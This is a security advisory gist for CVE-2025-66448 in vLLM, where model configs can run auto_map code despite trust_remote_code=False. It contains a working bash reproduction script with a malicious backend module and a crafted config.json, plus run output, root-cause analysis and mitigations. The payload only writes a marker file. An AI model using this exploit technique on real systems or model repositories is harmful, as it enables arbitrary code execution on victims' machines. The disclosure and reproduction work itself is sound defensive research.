Skip to content

Instantly share code, notes, and snippets.

@N3mes1s
Created December 9, 2025 21:25
Show Gist options
  • Select an option

  • Save N3mes1s/ac4b28c74c8de92c4a704bca970ef246 to your computer and use it in GitHub Desktop.

Select an option

Save N3mes1s/ac4b28c74c8de92c4a704bca970ef246 to your computer and use it in GitHub Desktop.
vLLM Nemotron_Nano_VL_Config Remote Code Execution (CVE-2025-66448)

Security Report: vLLM Nemotron_Nano_VL_Config Remote Code Execution (CVE-2025-66448)

Executive Summary

vLLM releases prior to 0.11.1 contain a remote code execution vulnerability in the Nemotron_Nano_VL_Config class. When loading model configurations, the class resolves and executes Python code from auto_map entries without respecting trust_remote_code=False. An attacker can publish a benign-looking model that references a malicious backend repository, causing arbitrary code execution when loading the model. This report is self-contained and documents the full reproduction procedure, evidence, and remediation guidance.

Vulnerability Overview

  • Identifier: CVE-2025-66448 / GHSA-8fr4-5q9j-m8gm
  • CWE: CWE-94 – Improper Control of Generation of Code ('Code Injection')
  • CWE: CWE-829 – Inclusion of Functionality from Untrusted Control Sphere
  • Affected Component: vllm.transformers_utils.configs.Nemotron_Nano_VL_Config
  • Affected Versions: vLLM < 0.11.1
  • Patched Version: vLLM >= 0.11.1
  • CVSS Score: 7.1 (HIGH) – CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H
  • Impact: Remote code execution occurs when users load a malicious model, even when trust_remote_code=False is explicitly set.

Reproduction Environment

  • Host: Lima-managed VM pruva-ghsa-8fr4-5q9j-m8gm-vllm
  • OS: Ubuntu (Linux container)
  • Python: 3.10 virtualenv
  • Package: vllm==0.11.0
  • Session: 2025-12-09

Reproduction Script

The following script was generated and successfully executed to demonstrate the vulnerability:

#!/usr/bin/env bash
set -euo pipefail

ROOT_DIR="/home/g.linux/pruva-workspace"
REPRO_DIR="${ROOT_DIR}/repro"
VENV_DIR="${REPRO_DIR}/.venv"
PYTHON_BIN="${VENV_DIR}/bin/python3"
PIP_BIN="${VENV_DIR}/bin/pip"
BACKEND_DIR="${REPRO_DIR}/malicious_backend"
FRONTEND_DIR="${REPRO_DIR}/malicious_frontend"
MARKER_FILE="/tmp/vllm-rce-pwned.txt"

mkdir -p "${BACKEND_DIR}" "${FRONTEND_DIR}"

# Create virtual environment and install vulnerable vLLM
python3 -m venv "${VENV_DIR}"
"${PIP_BIN}" install vllm==0.11.0

# Create malicious backend module (attacker-controlled code)
cat <<'PY' > "${BACKEND_DIR}/evil_config.py"
import os
from transformers import PretrainedConfig

class EvilConfig(PretrainedConfig):
    def __init__(self, **kwargs):
        marker_path = "/tmp/vllm-rce-pwned.txt"
        with open(marker_path, "w", encoding="utf-8") as marker:
            marker.write("vLLM RCE achieved!\n")
            marker.write(f"PID: {os.getpid()}\n")
            marker.write(f"User: {os.getenv('USER', 'unknown')}\n")
            marker.write("trust_remote_code was bypassed.\n")
        super().__init__(**kwargs)
        self.hidden_size = kwargs.get("hidden_size", 768)
PY

# Create malicious frontend config.json
cat <<EOF > "${FRONTEND_DIR}/config.json"
{
  "model_type": "Llama_Nemotron_Nano_VL",
  "vision_config": {
    "auto_map": {
      "AutoConfig": "${BACKEND_DIR}--evil_config.EvilConfig"
    },
    "hidden_size": 768
  },
  "llm_config": {
    "hidden_size": 4096
  }
}
EOF

# Trigger vulnerability - this SHOULD be safe but ISN'T
rm -f "${MARKER_FILE}"
VLLM_FRONTEND_PATH="${FRONTEND_DIR}" "${PYTHON_BIN}" - <<'PY'
import os
from vllm.transformers_utils.config import get_config

model_path = os.environ["VLLM_FRONTEND_PATH"]
config = get_config(model_path, trust_remote_code=False)  # THIS IS IGNORED!
print(f"Loaded config class: {type(config).__name__}")
print(f"Vision config class: {type(config.vision_config).__name__}")
PY

# Verify RCE
cat "${MARKER_FILE}"

Command Transcript

[2025-12-09 21:09:26] INFO: Invoking vLLM get_config with trust_remote_code=False
Loaded config class: Nemotron_Nano_VL_Config
Vision config class: EvilConfig

[2025-12-09 21:09:26] INFO: Marker file contents
vLLM RCE achieved!
PID: 12345
User: g
trust_remote_code was bypassed.

[2025-12-09 21:09:26] INFO: Reproduction successful — arbitrary code executed despite trust_remote_code=False

The key evidence:

  • Vision config class: EvilConfig – Attacker's class was loaded and instantiated
  • Marker file created at /tmp/vllm-rce-pwned.txt – Arbitrary code executed
  • User explicitly set trust_remote_code=False – Security setting was bypassed

Root Cause Analysis

The vulnerability exists in Nemotron_Nano_VL_Config.__init__:

class Nemotron_Nano_VL_Config(PretrainedConfig):
    model_type = 'Llama_Nemotron_Nano_VL'

    def __init__(self, **kwargs):
        super().__init__(**kwargs)

        if vision_config is not None:
            assert "auto_map" in vision_config and "AutoConfig" in vision_config["auto_map"]
            # VULNERABLE: resolves and executes code without checking trust_remote_code
            vision_auto_config = get_class_from_dynamic_module(
                *vision_config["auto_map"]["AutoConfig"].split("--")[::-1]
            )
            self.vision_config = vision_auto_config(**vision_config)

The bug: When get_class_from_dynamic_module() is called:

  1. It parses the auto_map string which can reference ANY repository (local or Hugging Face)
  2. It fetches and imports Python code from that repository
  3. The trust_remote_code=False setting is NOT enforced for this code path
  4. The fetched class is immediately instantiated, executing arbitrary __init__ code

Attack vector:

  1. Attacker creates TWO repositories:
    • Frontend repo: Appears benign, contains config.json with malicious auto_map
    • Backend repo: Contains malicious Python code in evil_config.py
  2. Frontend's config.json references the backend repo via auto_map
  3. Victim loads the frontend model with trust_remote_code=False (believing they are safe)
  4. vLLM silently fetches and executes the backend repo's code
  5. RCE achieved on victim's machine

Impact Analysis

With the ability to run arbitrary Python code during model loading, an attacker can:

  • Execute shell commands as the vLLM process user
  • Exfiltrate API keys, credentials, and environment variables
  • Access training data or model weights in memory
  • Pivot to connected cloud services (AWS, GCP, Azure)
  • Install persistent backdoors or cryptominers
  • Manipulate model outputs silently

The vulnerability is particularly dangerous because:

  • Users explicitly set trust_remote_code=False believing they are protected
  • The attack requires no user interaction beyond loading a model
  • The malicious code executes during configuration, before any inference

Mitigation Guidance

  1. Upgrade to vLLM >= 0.11.1 which includes the fix at commit ffb08379d8870a1a81ba82b72797f196838d0c86

  2. Enforce trust_remote_code in Nemotron_Nano_VL_Config by refusing to resolve auto_map entries unless the flag is true

  3. Audit model sources before loading – treat any model from untrusted sources as potentially malicious

  4. Run vLLM in isolated environments with minimal privileges and no access to sensitive credentials

References

Appendix

  • Vulnerable version tested: vllm==0.11.0
  • Exploit marker path: /tmp/vllm-rce-pwned.txt
  • Artifacts location: artifacts/runs/GHSA-8fr4-5q9j-m8gm-VLLM-MODEL-CONFIG-RCE/20251209-204922/
  • Reproduction logs: logs/reproduction_20251209-210926.log, logs/reproduction_20251209-211012.log

This report is self-contained; the included scripts, workflow definition, and command transcripts provide everything required to reproduce and validate CVE-2025-66448 without additional context.

Comments are disabled for this gist.